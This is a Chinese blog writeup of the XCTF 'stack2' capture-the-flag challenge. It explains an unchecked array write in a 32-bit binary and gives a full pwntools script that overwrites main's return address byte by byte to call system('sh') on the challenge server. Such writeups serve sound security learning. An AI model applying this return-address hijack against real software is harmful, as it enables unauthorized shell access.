XCTF stack2 [Writeup]

题源

https://adworld.xctf.org.cn/challenges/details?hash=4bb2f552-6679-4d25-a18d-883e4d9c206b_2

题解

TL;DR

32bit程序劫持main函数返回地址,构造system函数,准备sh参数

照例先checksec看一下情况

在这里插入图片描述

32位程序,没有开PIE,所以程序代码段都是用静态地址

照例IDA看一下main函数

在这里插入图片描述

如上图所示,非常明显地,在往v13这个局部数组变量里写一个字符时没有检查是否越界。根据栈上数组和函数返回地址的相对关系,用gdb可以调试出来当修改第0x84个字节的时候,返回地址的最低1byte会被修改掉。利用这一点可以修改main函数的返回地址,每次修改1个字节。

用IDA发现程序给了一个hackhere函数在0x804859B,所以可以修改main跳转到这里。

在这里插入图片描述

不过在ssh执行时发现目标只有sh,没有/bin/bash,所以hackhere不可用,如下图。

在这里插入图片描述

那么需要自己构造新的后门函数,比如system("sh")system地址可以从plt表拿到,sh字符串可以用ROPgadget搜到。相比于跳转到hackhere函数,多了一个步骤是需要在栈上准备好sh字符串的地址。

在这里插入图片描述

最后运行脚本拿到flag。

在这里插入图片描述

完整代码

from pwn import *

io = remote('61.147.171.105',64929)
# io = process('./stack2')
prox = ELF('./stack2')

system_plt = prox.plt['system']
sh_address = 0x08048987
ret_offset = 0x70+0x10+0x4
io.sendlineafter(b'have:',b'0')

def send_4bytes(offset,number):
    def send_num(ind,num):
        io.sendlineafter(b'exit',b'3')
        io.sendlineafter(b'change:',ind)
        io.sendlineafter(b'number:',num)
    for i in range(4):
        send_num(str(offset+i).encode(),str((number>>(i*8))&0xff).encode())

send_4bytes(ret_offset,system_plt)
send_4bytes(ret_offset+0x8,sh_address)

io.sendlineafter(b'exit',b'5')

io.interactive()

总结

  • 在IDA看v13数组与ebp偏移时其实是0x70+0x4字节,但执行时gdb发现程序又用ecx修改了esp的值,实际是0x84的偏移。不确定这个是什么原因?
  • system("sh")也可以进shell,不一定非得"/bin/bash"
  • 假的getshell函数挺唬人的,一不小心容易被弄乱思路
  • 回顾一下知识点,放sh_address时候需要设置0x8的偏移是用来放ebp和return address,然后才轮到arg1
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

c01dkit

好可怜一博主,都没人打赏>_<

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值